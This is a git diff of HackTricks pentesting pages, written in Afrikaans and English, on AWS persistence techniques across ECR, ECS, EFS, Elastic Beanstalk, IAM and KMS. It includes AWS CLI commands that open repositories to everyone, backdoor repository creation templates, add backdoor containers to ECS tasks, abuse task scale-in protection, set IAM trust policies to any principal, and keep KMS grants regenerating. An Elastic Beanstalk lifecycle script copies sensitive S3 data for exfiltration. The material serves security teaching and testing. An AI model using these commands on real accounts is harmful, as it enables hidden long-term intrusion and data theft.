{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECR
|
||||
|
||||
Vir meer inligting, sien:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ecr-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Hidden Docker Image with Malicious Code
|
||||
|
||||
'n aanvaller kan **upload a Docker image containing malicious code** na 'n ECR repository oplaai en dit gebruik om persistence in die geteikende AWS-rekening te handhaaf. Die aanvaller kan dan die malicious image op verskeie dienste binne die rekening, soos Amazon ECS of EKS, stilweg uitrol.
|
||||
|
||||
### Repository Policy
|
||||
|
||||
Voeg 'n beleid by op 'n enkele repository wat jou (of almal) toegang tot daardie repository gee:
|
||||
```bash
|
||||
aws ecr set-repository-policy \
|
||||
--repository-name cluster-autoscaler \
|
||||
--policy-text file:///tmp/my-policy.json
|
||||
|
||||
# With a .json such as
|
||||
|
||||
{
|
||||
"Version" : "2008-10-17",
|
||||
"Statement" : [
|
||||
{
|
||||
"Sid" : "allow public pull",
|
||||
"Effect" : "Allow",
|
||||
"Principal" : "*",
|
||||
"Action" : [
|
||||
"ecr:BatchCheckLayerAvailability",
|
||||
"ecr:BatchGetImage",
|
||||
"ecr:GetDownloadUrlForLayer"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
> [!WARNING]
|
||||
> Neem kennis dat ECR vereis dat gebruikers **toestemming** het om oproepe te maak na die **`ecr:GetAuthorizationToken`** API deur 'n IAM-beleid **voordat hulle kan autentiseer** by 'n registry en enige images na of van enige Amazon ECR repository kan push of pull.
|
||||
|
||||
### Registerbeleid & Kruis-rekening replikasie
|
||||
|
||||
Dit is moontlik om 'n registry outomaties in 'n eksterne rekening te repliseer deur kruis-rekening replikasie te konfigureer, waar jy die **eksterne rekening moet aandui** waarin jy die registry wil repliseer.
|
||||
|
||||
<figure><img src="../../../images/image (79).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Eers moet jy die eksterne rekening toegang gee tot die registry met 'n **registry policy** soos:
|
||||
```bash
|
||||
aws ecr put-registry-policy --policy-text file://my-policy.json
|
||||
|
||||
# With a .json like:
|
||||
|
||||
{
|
||||
"Sid": "asdasd",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::947247140022:root"
|
||||
},
|
||||
"Action": [
|
||||
"ecr:CreateRepository",
|
||||
"ecr:ReplicateImage"
|
||||
],
|
||||
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
|
||||
}
|
||||
```
|
||||
Pas dan die repliseringskonfigurasie toe:
|
||||
```bash
|
||||
aws ecr put-replication-configuration \
|
||||
--replication-configuration file://replication-settings.json \
|
||||
--region us-west-2
|
||||
|
||||
# Having the .json a content such as:
|
||||
{
|
||||
"rules": [{
|
||||
"destinations": [{
|
||||
"region": "destination_region",
|
||||
"registryId": "destination_accountId"
|
||||
}],
|
||||
"repositoryFilters": [{
|
||||
"filter": "repository_prefix_name",
|
||||
"filterType": "PREFIX_MATCH"
|
||||
}]
|
||||
}]
|
||||
}
|
||||
```
|
||||
### Repository Creation Templates (prefix backdoor for future repos)
|
||||
|
||||
Misbruik ECR Repository Creation Templates om outomaties enige repository te backdoor wat ECR onder 'n beheerde prefix self skep (byvoorbeeld via Pull-Through Cache of Create-on-Push). Dit verleen volhoubare ongemagtigde toegang tot toekomstige repos sonder om bestaande te raak.
|
||||
|
||||
- Benodigde perms: ecr:CreateRepositoryCreationTemplate, ecr:DescribeRepositoryCreationTemplates, ecr:UpdateRepositoryCreationTemplate, ecr:DeleteRepositoryCreationTemplate, ecr:SetRepositoryPolicy (used by the template), iam:PassRole (if a custom role is attached to the template).
|
||||
- Impak: Enige nuwe repository wat onder die geteikende prefix geskep word, erf outomaties 'n attacker-controlled repository policy (bv. cross-account read/write), tag mutability, en scanning defaults.
|
||||
|
||||
<details>
|
||||
<summary>Backdoor future PTC-created repos under a chosen prefix</summary>
|
||||
```bash
|
||||
# Region
|
||||
REGION=us-east-1
|
||||
|
||||
# 1) Prepare permissive repository policy (example grants everyone RW)
|
||||
cat > /tmp/repo_backdoor_policy.json <<'JSON'
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "BackdoorRW",
|
||||
"Effect": "Allow",
|
||||
"Principal": {"AWS": "*"},
|
||||
"Action": [
|
||||
"ecr:BatchCheckLayerAvailability",
|
||||
"ecr:BatchGetImage",
|
||||
"ecr:GetDownloadUrlForLayer",
|
||||
"ecr:InitiateLayerUpload",
|
||||
"ecr:UploadLayerPart",
|
||||
"ecr:CompleteLayerUpload",
|
||||
"ecr:PutImage"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
JSON
|
||||
|
||||
# 2) Create a Repository Creation Template for prefix "ptc2" applied to PULL_THROUGH_CACHE
|
||||
aws ecr create-repository-creation-template --region $REGION --prefix ptc2 --applied-for PULL_THROUGH_CACHE --image-tag-mutability MUTABLE --repository-policy file:///tmp/repo_backdoor_policy.json
|
||||
|
||||
# 3) Create a Pull-Through Cache rule that will auto-create repos under that prefix
|
||||
# This example caches from Amazon ECR Public namespace "nginx"
|
||||
aws ecr create-pull-through-cache-rule --region $REGION --ecr-repository-prefix ptc2 --upstream-registry ecr-public --upstream-registry-url public.ecr.aws --upstream-repository-prefix nginx
|
||||
|
||||
# 4) Trigger auto-creation by pulling a new path once (creates repo ptc2/nginx)
|
||||
acct=$(aws sts get-caller-identity --query Account --output text)
|
||||
aws ecr get-login-password --region $REGION | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
|
||||
|
||||
docker pull ${acct}.dkr.ecr.${REGION}.amazonaws.com/ptc2/nginx:latest
|
||||
|
||||
# 5) Validate the backdoor policy was applied on the newly created repository
|
||||
aws ecr get-repository-policy --region $REGION --repository-name ptc2/nginx --query policyText --output text | jq .
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,93 +0,0 @@
|
||||
# AWS - ECS Volharding
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECS
|
||||
|
||||
Vir meer inligting, kyk:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ecs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Verborgen Periodieke ECS Taak
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Toets
|
||||
|
||||
'n Aanvaller kan 'n verborgen periodieke ECS-taak skep met behulp van Amazon EventBridge om **die uitvoering van 'n kwaadwillige taak periodiek te skeduleer**. Hierdie taak kan verkenning uitvoer, data uitbring of volharding in die AWS-rekening handhaaf.
|
||||
```bash
|
||||
# Create a malicious task definition
|
||||
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
|
||||
{
|
||||
"name": "malicious-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
}
|
||||
]'
|
||||
|
||||
# Create an Amazon EventBridge rule to trigger the task periodically
|
||||
aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)"
|
||||
|
||||
# Add a target to the rule to run the malicious ECS task
|
||||
aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
|
||||
{
|
||||
"Id": "malicious-ecs-task-target",
|
||||
"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
|
||||
"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
|
||||
"EcsParameters": {
|
||||
"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
|
||||
"TaskCount": 1
|
||||
}
|
||||
}
|
||||
]'
|
||||
```
|
||||
### Agterdeur Container in Bestaande ECS Taakdefinisie
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Toets
|
||||
|
||||
'n Aanvaller kan 'n **stealthy backdoor container** by 'n bestaande ECS taakdefinisie voeg wat saam met wettige containers loop. Die agterdeur container kan gebruik word vir volharding en om kwaadwillige aktiwiteite uit te voer.
|
||||
```bash
|
||||
# Update the existing task definition to include the backdoor container
|
||||
aws ecs register-task-definition --family "existing-task" --container-definitions '[
|
||||
{
|
||||
"name": "legitimate-container",
|
||||
"image": "legitimate-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
},
|
||||
{
|
||||
"name": "backdoor-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": false
|
||||
}
|
||||
]'
|
||||
```
|
||||
### Ongedokumenteerde ECS-diens
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Toets
|
||||
|
||||
'n Aanvaller kan 'n **ongedokumenteerde ECS-diens** skep wat 'n kwaadwillige taak uitvoer. Deur die verlangde aantal take tot 'n minimum te stel en logging te deaktiveer, word dit moeiliker vir administrateurs om die kwaadwillige diens op te merk.
|
||||
```bash
|
||||
# Create a malicious task definition
|
||||
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
|
||||
{
|
||||
"name": "malicious-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
}
|
||||
]'
|
||||
|
||||
# Create an undocumented ECS service with the malicious task definition
|
||||
aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,152 @@
|
||||
# AWS - ECS Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECS
|
||||
|
||||
Vir meer inligting, sien:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ecs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Hidden Periodic ECS Task
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
An attacker kan 'n hidden periodic ECS task skep deur Amazon EventBridge te gebruik om **schedule the execution of a malicious task periodically**. Hierdie task kan reconnaissance uitvoer, exfiltrate data, of persistence handhaaf in die AWS rekening.
|
||||
```bash
|
||||
# Create a malicious task definition
|
||||
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
|
||||
{
|
||||
"name": "malicious-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
}
|
||||
]'
|
||||
|
||||
# Create an Amazon EventBridge rule to trigger the task periodically
|
||||
aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)"
|
||||
|
||||
# Add a target to the rule to run the malicious ECS task
|
||||
aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
|
||||
{
|
||||
"Id": "malicious-ecs-task-target",
|
||||
"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
|
||||
"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
|
||||
"EcsParameters": {
|
||||
"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
|
||||
"TaskCount": 1
|
||||
}
|
||||
}
|
||||
]'
|
||||
```
|
||||
### Backdoor Container in Bestaande ECS Task Definition
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Toets
|
||||
|
||||
’n aanvaller kan ’n **stealthy backdoor container** by ’n bestaande ECS task definition voeg wat langs legitieme containers loop. Die backdoor container kan gebruik word vir persistence en om skadelike aktiwiteite uit te voer.
|
||||
```bash
|
||||
# Update the existing task definition to include the backdoor container
|
||||
aws ecs register-task-definition --family "existing-task" --container-definitions '[
|
||||
{
|
||||
"name": "legitimate-container",
|
||||
"image": "legitimate-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
},
|
||||
{
|
||||
"name": "backdoor-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": false
|
||||
}
|
||||
]'
|
||||
```
|
||||
### Ongedokumenteerde ECS-diens
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Toets
|
||||
|
||||
'n aanvaller kan 'n **ongedokumenteerde ECS-diens** skep wat 'n kwaadwillige taak uitvoer. Deur die verlangde aantal take op 'n minimum te stel en logging uit te skakel, word dit moeiliker vir administrateurs om die kwaadwillige diens op te let.
|
||||
```bash
|
||||
# Create a malicious task definition
|
||||
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
|
||||
{
|
||||
"name": "malicious-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
}
|
||||
]'
|
||||
|
||||
# Create an undocumented ECS service with the malicious task definition
|
||||
aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"
|
||||
```
|
||||
### ECS Persistence via Task Scale-In Protection (UpdateTaskProtection)
|
||||
|
||||
Misbruik ecs:UpdateTaskProtection om te verhoed dat service tasks deur scale‑in events en rolling deployments gestop word. Deur die beskerming voortdurend te verleng, kan 'n aanvaller 'n langlewende taak aan die gang hou (vir C2 of dataversameling) selfs al verlaag verdedigers desiredCount of push nuwe taakrevisies.
|
||||
|
||||
Stappe om te reproduseer in us-east-1:
|
||||
```bash
|
||||
# 1) Cluster (create if missing)
|
||||
CLUSTER=$(aws ecs list-clusters --query 'clusterArns[0]' --output text 2>/dev/null)
|
||||
[ -z "$CLUSTER" -o "$CLUSTER" = "None" ] && CLUSTER=$(aws ecs create-cluster --cluster-name ht-ecs-persist --query 'cluster.clusterArn' --output text)
|
||||
|
||||
# 2) Minimal backdoor task that just sleeps (Fargate/awsvpc)
|
||||
cat > /tmp/ht-persist-td.json << 'JSON'
|
||||
{
|
||||
"family": "ht-persist",
|
||||
"networkMode": "awsvpc",
|
||||
"requiresCompatibilities": ["FARGATE"],
|
||||
"cpu": "256",
|
||||
"memory": "512",
|
||||
"containerDefinitions": [
|
||||
{"name": "idle","image": "public.ecr.aws/amazonlinux/amazonlinux:latest",
|
||||
"command": ["/bin/sh","-c","sleep 864000"]}
|
||||
]
|
||||
}
|
||||
JSON
|
||||
aws ecs register-task-definition --cli-input-json file:///tmp/ht-persist-td.json >/dev/null
|
||||
|
||||
# 3) Create service (use default VPC public subnet + default SG)
|
||||
VPC=$(aws ec2 describe-vpcs --filters Name=isDefault,Values=true --query 'Vpcs[0].VpcId' --output text)
|
||||
SUBNET=$(aws ec2 describe-subnets --filters Name=vpc-id,Values=$VPC Name=map-public-ip-on-launch,Values=true --query 'Subnets[0].SubnetId' --output text)
|
||||
SG=$(aws ec2 describe-security-groups --filters Name=vpc-id,Values=$VPC Name=group-name,Values=default --query 'SecurityGroups[0].GroupId' --output text)
|
||||
aws ecs create-service --cluster "$CLUSTER" --service-name ht-persist-svc \
|
||||
--task-definition ht-persist --desired-count 1 --launch-type FARGATE \
|
||||
--network-configuration "awsvpcConfiguration={subnets=[$SUBNET],securityGroups=[$SG],assignPublicIp=ENABLED}"
|
||||
|
||||
# 4) Get running task ARN
|
||||
TASK=$(aws ecs list-tasks --cluster "$CLUSTER" --service-name ht-persist-svc --desired-status RUNNING --query 'taskArns[0]' --output text)
|
||||
|
||||
# 5) Enable scale-in protection for 24h and verify
|
||||
aws ecs update-task-protection --cluster "$CLUSTER" --tasks "$TASK" --protection-enabled --expires-in-minutes 1440
|
||||
aws ecs get-task-protection --cluster "$CLUSTER" --tasks "$TASK"
|
||||
|
||||
# 6) Try to scale service to 0 (task should persist)
|
||||
aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --desired-count 0
|
||||
aws ecs list-tasks --cluster "$CLUSTER" --service-name ht-persist-svc --desired-status RUNNING
|
||||
|
||||
# Optional: rolling deployment blocked by protection
|
||||
aws ecs register-task-definition --cli-input-json file:///tmp/ht-persist-td.json >/dev/null
|
||||
aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --task-definition ht-persist --force-new-deployment
|
||||
aws ecs describe-services --cluster "$CLUSTER" --services ht-persist-svc --query 'services[0].events[0]'
|
||||
|
||||
# 7) Cleanup
|
||||
aws ecs update-task-protection --cluster "$CLUSTER" --tasks "$TASK" --no-protection-enabled || true
|
||||
aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --desired-count 0 || true
|
||||
aws ecs delete-service --cluster "$CLUSTER" --service ht-persist-svc --force || true
|
||||
aws ecs deregister-task-definition --task-definition ht-persist || true
|
||||
```
|
||||
Impak: 'n beskermde task bly RUNNING ondanks desiredCount=0 en blokkeer vervangings tydens nuwe deployments, waardeur onopvallende, langdurige volharding binne die ECS-diens moontlik word.
|
||||
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,21 +0,0 @@
|
||||
# AWS - EFS Volharding
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EFS
|
||||
|
||||
Vir meer inligting, kyk:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-efs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Wysig Hulpbronbeleid / Sekuriteitsgroepe
|
||||
|
||||
Deur die **hulpbronbeleid en/of sekuriteitsgroepe** te wysig, kan jy probeer om jou toegang tot die lêerstelsel te volhard.
|
||||
|
||||
### Skep Toegangspunt
|
||||
|
||||
Jy kan **'n toegangspunt skep** (met worteltoegang tot `/`) wat toeganklik is vanaf 'n diens waar jy **ander volharding** geïmplementeer het om bevoorregte toegang tot die lêerstelsel te behou.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,21 @@
|
||||
# AWS - EFS Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EFS
|
||||
|
||||
Vir meer inligting, kyk:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-efs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Wysig Resource Policy / Security Groups
|
||||
|
||||
Deur die **resource policy and/or security groups** te wysig, kan jy probeer om jou access in die lêerstelsel te persist.
|
||||
|
||||
### Skep Access Point
|
||||
|
||||
Jy kan **skep 'n access point** (met root access tot `/`) wat vanaf 'n diens toeganklik is waar jy **ander persistence** geïmplementeer het om privileged access tot die lêerstelsel te behou.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+15
-15
@@ -1,35 +1,35 @@
|
||||
# AWS - Elastic Beanstalk Volharding
|
||||
# AWS - Elastic Beanstalk Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Elastic Beanstalk
|
||||
|
||||
Vir meer inligting, kyk:
|
||||
Vir meer inligting, sien:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-elastic-beanstalk-enum.md
|
||||
../../aws-services/aws-elastic-beanstalk-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Volharding in Instansie
|
||||
### Persistence in Instance
|
||||
|
||||
Om volharding binne die AWS-rekening te handhaaf, kan 'n **volhardingsmeganisme binne die instansie bekendgestel word** (cron job, ssh sleutel...) sodat die aanvaller toegang kan verkry en IAM rol **akkrediteer van die metadata diens** kan steel.
|
||||
Om persistence binne die AWS-account te handhaaf, kan 'n **persistence mechanism could be introduced inside the instance** (cron job, ssh key...) geïnstalleer word, sodat die attacker toegang daartoe kan kry en die IAM role **credentials from the metadata service** kan steel.
|
||||
|
||||
### Agterdeur in Weergawe
|
||||
### Backdoor in Version
|
||||
|
||||
'n Aanvaller kan die kode binne die S3 repo agterdeur sodat dit altyd sy agterdeur en die verwagte kode uitvoer.
|
||||
Die attacker kan die code in die S3 repo backdoor sodat dit altyd sy backdoor en die verwagte code uitvoer.
|
||||
|
||||
### Nuwe agterdeur weergawe
|
||||
### New backdoored version
|
||||
|
||||
In plaas daarvan om die kode op die werklike weergawe te verander, kan die aanvaller 'n nuwe agterdeur weergawe van die toepassing ontplooi.
|
||||
In plaas daarvan om die code op die werklike version te verander, kan die attacker 'n nuwe backdoored version van die application deploy.
|
||||
|
||||
### Misbruik van Aangepaste Hulpbronne Levensiklus Hake
|
||||
### Abusing Custom Resource Lifecycle Hooks
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Toets
|
||||
> TODO: Test
|
||||
|
||||
Elastic Beanstalk bied levensiklus hake wat jou toelaat om aangepaste skripte tydens instansie voorsiening en beëindiging uit te voer. 'n Aanvaller kan **'n levensiklus hake konfigureer om periodiek 'n skrip uit te voer wat data uitbring of toegang tot die AWS-rekening handhaaf**.
|
||||
Elastic Beanstalk verskaf lifecycle hooks wat jou toelaat om custom scripts tydens instance provisioning en termination te laat loop. Die attacker kan **configure a lifecycle hook to periodically execute a script that exfiltrates data or maintains access to the AWS account**.
|
||||
```bash
|
||||
bashCopy code# Attacker creates a script that exfiltrates data and maintains access
|
||||
# Attacker creates a script that exfiltrates data and maintains access
|
||||
echo '#!/bin/bash
|
||||
aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv
|
||||
gzip /tmp/data.csv
|
||||
@@ -72,4 +72,4 @@ Fn::GetAtt:
|
||||
# Attacker applies the new environment configuration
|
||||
aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,47 +0,0 @@
|
||||
# AWS - IAM Persistensie
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## IAM
|
||||
|
||||
Vir meer inligting, toegang tot:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-iam-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Algemene IAM Persistensie
|
||||
|
||||
- Skep 'n gebruiker
|
||||
- Voeg 'n beheerde gebruiker by 'n bevoorregte groep
|
||||
- Skep toegang sleutels (van die nuwe gebruiker of van alle gebruikers)
|
||||
- Gee ekstra toestemmings aan beheerde gebruikers/groepe (aangehegte beleide of inline beleide)
|
||||
- Deaktiveer MFA / Voeg jou eie MFA-toestel by
|
||||
- Skep 'n Rol Ketting Juggling situasie (meer hieroor hieronder in STS persistensie)
|
||||
|
||||
### Backdoor Rol Vertroue Beleide
|
||||
|
||||
Jy kan 'n backdoor in 'n vertrouensbeleid plaas om dit te kan aanvaar vir 'n eksterne hulpbron wat deur jou beheer word (of vir almal):
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": ["*", "arn:aws:iam::123213123123:root"]
|
||||
},
|
||||
"Action": "sts:AssumeRole"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
### Backdoor-beleid Weergawe
|
||||
|
||||
Gee Administrateur toestemmings aan 'n beleid in nie sy laaste weergawe nie (die laaste weergawe moet legitiem lyk), en ken dan daardie weergawe van die beleid toe aan 'n beheerde gebruiker/groep.
|
||||
|
||||
### Backdoor / Skep Identiteitsverskaffer
|
||||
|
||||
As die rekening reeds 'n algemene identiteitsverskaffer (soos Github) vertrou, kan die voorwaardes van die vertroue verhoog word sodat die aanvaller dit kan misbruik.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,47 @@
|
||||
# AWS - IAM Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## IAM
|
||||
|
||||
Vir meer inligting, sien:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-iam-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Algemene IAM Persistence
|
||||
|
||||
- Skep 'n user
|
||||
- Voeg 'n beheerde user by 'n privileged group
|
||||
- Skep access keys (van die nuwe user of van alle users)
|
||||
- Gee ekstra toestemmings aan beheerde users/groups (attached policies of inline policies)
|
||||
- Deaktiveer MFA / Voeg jou eie MFA device by
|
||||
- Skep 'n Role Chain Juggling situasie (meer hieroor hieronder in STS persistence)
|
||||
|
||||
### Backdoor Role Trust Policies
|
||||
|
||||
Jy kan 'n backdoor in 'n trust policy plaas om dit te kan assume vir 'n external resource wat deur jou beheer word (of vir almal):
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": ["*", "arn:aws:iam::123213123123:root"]
|
||||
},
|
||||
"Action": "sts:AssumeRole"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
### Backdoor Policy Version
|
||||
|
||||
Gee Administrator-permissies aan 'n policy wat nie in sy laaste weergawe is nie (die laaste weergawe moet geloofwaardig lyk), en ken dan daardie weergawe van die policy toe aan 'n beheerde user/group.
|
||||
|
||||
### Backdoor / Create Identity Provider
|
||||
|
||||
Indien die account reeds 'n algemene identity provider (soos Github) vertrou, kan die trust-voorwaardes uitgebrei word sodat die aanvaller dit kan misbruik.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,37 +0,0 @@
|
||||
# AWS - KMS Volharding
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## KMS
|
||||
|
||||
Vir meer inligting, kyk:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-kms-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Gee toegang via KMS-beleide
|
||||
|
||||
'n Aanvaller kan die toestemming **`kms:PutKeyPolicy`** gebruik om **toegang te gee** tot 'n sleutel aan 'n gebruiker onder sy beheer of selfs aan 'n eksterne rekening. Kyk na die [**KMS Privesc-bladsy**](../aws-privilege-escalation/aws-kms-privesc.md) vir meer inligting.
|
||||
|
||||
### Ewige Toestemming
|
||||
|
||||
Toestemmings is 'n ander manier om 'n prinsiep sekere toestemmings oor 'n spesifieke sleutel te gee. Dit is moontlik om 'n toestemming te gee wat 'n gebruiker toelaat om toestemmings te skep. Boonop kan 'n gebruiker verskeie toestemmings (selfs identies) oor dieselfde sleutel hê.
|
||||
|
||||
Daarom is dit moontlik vir 'n gebruiker om 10 toestemmings met al die toestemmings te hê. Die aanvaller moet dit konstant monitor. En as op 'n sekere tydstip 1 toestemming verwyder word, moet nog 10 gegenereer word.
|
||||
|
||||
(Ons gebruik 10 en nie 2 nie om te kan opspoor dat 'n toestemming verwyder is terwyl die gebruiker steeds 'n paar toestemmings het)
|
||||
```bash
|
||||
# To generate grants, generate 10 like this one
|
||||
aws kms create-grant \
|
||||
--key-id <key-id> \
|
||||
--grantee-principal <user_arn> \
|
||||
--operations "CreateGrant" "Decrypt"
|
||||
|
||||
# To monitor grants
|
||||
aws kms list-grants --key-id <key-id>
|
||||
```
|
||||
> [!NOTE]
|
||||
> 'n Toekenning kan slegs toestemmings gee vanaf hierdie: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,37 @@
|
||||
# AWS - KMS Persistensie
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## KMS
|
||||
|
||||
Vir meer inligting, sien:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-kms-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Grant toegang via KMS-beleide
|
||||
|
||||
'n Aanvaller kan die toestemming **`kms:PutKeyPolicy`** gebruik om **toegang te gee** tot 'n sleutel aan 'n gebruiker onder sy beheer, of selfs aan 'n eksterne rekening. Check the [**KMS Privesc page**](../../aws-privilege-escalation/aws-kms-privesc/README.md) vir meer inligting.
|
||||
|
||||
### Eternal Grant
|
||||
|
||||
Grants is nog 'n manier om 'n principal sekere permissies oor 'n spesifieke sleutel te gee. Dit is moontlik om 'n grant te gee wat 'n gebruiker toelaat om grants te skep. Verder kan 'n gebruiker verskeie grants hê (selfs identiese) oor dieselfde sleutel.
|
||||
|
||||
Daarom is dit moontlik dat 'n gebruiker 10 grants met al die permissies het. Die aanvaller moet dit voortdurend monitor. En as op enige tydstip 1 grant verwyder word, behoort nog 10 gegenereer te word.
|
||||
|
||||
(Ons gebruik 10 en nie 2 nie sodat ons kan opspoor dat 'n grant verwyder is terwyl die gebruiker nog steeds 'n grant het)
|
||||
```bash
|
||||
# To generate grants, generate 10 like this one
|
||||
aws kms create-grant \
|
||||
--key-id <key-id> \
|
||||
--grantee-principal <user_arn> \
|
||||
--operations "CreateGrant" "Decrypt"
|
||||
|
||||
# To monitor grants
|
||||
aws kms list-grants --key-id <key-id>
|
||||
```
|
||||
> [!NOTE]
|
||||
> 'n grant kan slegs toestemmings gee vanaf hierdie: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,33 +0,0 @@
|
||||
# AWS - Lightsail Persistensie
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Lightsail
|
||||
|
||||
Vir meer inligting, kyk:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-lightsail-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Laai Instansie SSH sleutels & DB wagwoorde af
|
||||
|
||||
Hulle sal waarskynlik nie verander word nie, so om hulle te hê is 'n goeie opsie vir volharding
|
||||
|
||||
